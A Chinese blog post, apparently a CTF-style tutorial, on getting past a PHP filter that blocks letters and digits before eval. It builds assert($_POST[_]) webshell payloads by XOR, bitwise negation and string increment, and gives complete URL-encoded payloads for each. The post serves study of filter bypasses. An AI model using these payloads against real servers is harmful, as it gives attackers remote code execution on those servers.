首页 > 其他分享 >无字母数字rce

无字母数字rce

时间:2024-07-27 11:28:19浏览次数:15  
标签:24 __% 数字 字母 3D% 3B% rce 2B% _%

参考blog:https://www.cnblogs.com/pursue-security/p/15404150.html
首先来看情境

<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("hacker!");
}
@eval($code);
?>

可以看到在上述代码中,可以执行code传入的任意命令,但是限制code中不能包含字母,数字.
有以下方法可以绕过:

异或绕过

异或是对ascii进行位运算,ascii表如下.
image

就比如我们想要构建a,可以如下

<?php
echo '@'^'!'; //a

那么我们可以据此进行拼接,目标字符串为assert($_POST[_])

a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'
拼接起来:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');  // $_=assert
$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');  // $__=_POST
$___=$$__; //$___=$_POST
$_($___[_]);//assert($_POST[_]);
放到一排就是:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);

尝试发现能打通,执行的命令通过post表单传递即可
image

取反

也是一种位运算,更为灵活易于构造

<?php
echo urlencode(~'assert');
echo "\n";
echo urlencode(~'_POST');
//%9E%8C%8C%9A%8D%8B
//%A0%AF%B0%AC%AB

下面是我构建的payload

$_=~(%9E%8C%8C%9A%8D%8B);    //这里利用取反符号把它取回来,$_=assert
$__=~(%A0%AF%B0%AC%AB);      //$__=_POST
$___=$$__;                   //$___=$_POST
$_($___[_]);                 //assert($_POST[_]);
放到一排就是:
$_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]);

也成功了.
image

除此以外还有一个利用utf-8进行取反的,payload也打通了,但是没理解原理

%24_%2B%2B%3B%24__%20%3D%20%22%E6%9E%81%22%3B%24___%20%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8C%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%9A%AE%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8D%81%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8B%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24____%20%3D%20'_'%3B%24__%20%3D%20%22%E5%AF%B8%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%B0%8F%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E6%AC%A0%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%AB%8B%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24_%20%3D%20%24%24____%3B%24___(%24_%5B_%5D)%3B

自增

php在处理字符变量的算数运算的时候并没有延续C的习惯,而是延续了Perl的习惯(坏习惯).

<?php
$a='Z';
echo ++$a; //AA

也就是说,如果我们能够获得A和a的话,就能获得所有的字符串.而在php中,如果数组被强制转换为了字符串,则会变为"Array"

<?php
$a=[1,2,3,4,5];
echo @"$a"; //Array

然后我们就可以利用Array中的A和a去构造出所有的字符

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

构造如上,然后放到一排再去url编码的结果为

%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B

也是成功的.

标签:24,__%,数字,字母,3D%,3B%,rce,2B%,_%
From: https://www.cnblogs.com/merak-lbz/p/18326753

相关文章

  • 编写一个数字炸弹的中断小游戏
    利用分支语句。循环语句来实现。要求达到如下效果:主要理解代码中的逻辑思路。完整代码如下所示:#include<stdio.h>intmain(intargc,charconst*argv[]){inta,b;inti=1;intj=100;printf("数字炸弹1-100\n");printf("输入666游戏结束\n");......
  • Codeforces Round 962 (Div. 3) 题解
    A.Legshttps://codeforces.com/contest/1996/problem/A翻译:农夫约翰的农场又迎来了美好的一天。农夫约翰来到农场后,数了数n条腿。众所周知,农场里只住着鸡和牛,一只鸡有2条腿,而一头牛有4条腿。假设约翰农场主数清了所有动物的腿,那么他的农场里最少有多少动物?思路求最少......
  • Codeforces Round 962 (Div. 3) 补题记录(A~G)
    这场Div.3难度高于平时。A#include<bits/stdc++.h>#defineintlonglongusingnamespacestd;constintN=500100;inta[N];signedmain(){intT;scanf("%lld",&T);while(T--){intn;scanf("%lld",......
  • Python,pandas从字符串中解析数字和字符串
    在Python中,我想解析一个字符串并将数字部分(可能有也可能没有小数点)作为浮点数返回,并将后缀作为字符串返回。示例为:7.1英寸->7.1,英寸7.1”->7.1,“7英寸->7.0,英寸-10dB->-10.0,dB-10.2dB->-10.2,dB数字部分和后缀之间没有空格。另外,我想将其应......
  • 无字母RCE绕过(取反,异或,自增,通配符)
    原理参考:无数字字母rce总结(取反、异或、自增、临时文件)-CSDN博客RCE篇之无数字字母rce-学安全的小白-博客园(cnblogs.com)RCE通配符绕过-CSDN博客以下是我的个人理解及例题1.取反例题:[SWPUCTF2021新生赛]hardrce|NSSCTF取反用法就是对我们想要执行的语句通过......
  • Codeforces Round 961
    省流:运气好没有掉分)B2Bonquet(HardVertion)(CF1995B2)事实上B1都写挂了(尖叫)处理花瓣数相差不超过1的花,可以用map存储每种花的数量,顺序遍历即可(其实是不想排序统计,好麻烦);那么如何计算最终答案呢。。。此处省略我赛时乱七八糟的一堆复杂做法,比较简单的写法是先找到一个可行的......
  • Codeforces 913 div3 A-G
    A题意分析把给定的坐标的那一行和那一列的其他所有坐标都输出来C++代码#include<iostream>usingnamespacestd;intmain(){ intt; cin>>t; while(t--){ strings; cin>>s; for(inti=1;i<=8;i++){ if(i+'0'!=s[1])cout<<s[0]<<i<<end......
  • 猜数字游戏详解(基础知识)
    前言;随着初期编程的学习,是否感觉愈发枯燥无味呢?如果如我所言,那么不妨尝试运行下这个程序,来检验下自己的成果吧。目录1代码2猜数字游戏的实现 1代码#define_CRT_SECURE_NO_WARNINGS//猜数字游戏正式开始#include<stdio.h> #include<stdlib.h> #include<t......
  • CodeForces 1883A Morning
    题目链接:CodeForces1883A【Morning】思路    模拟,特判当密码中的某个元素为0时,用10减去当前光标的位置,并修改光标的位置为当前元素,再操作依次显示当前元素。对于其他情况则直接使用光标的位置减去目标位置,修改光标位置为当前元素,然后再操作一次显示当前元素。代码#......
  • CodeForces 1883B Chemistry
    题目链接:CodeForces1883B【Chemistry】思路    判断最多删去k个字符后剩下的部分为回文字符串,所以优先删除将个数为奇数个的相同字符删为偶数,当最后留下的字符串中,奇数个数的相同字符种类小于等于1时才会是回文字符串,如:aaabbbccc,此时个数为奇数的相同字符种类有三种,分......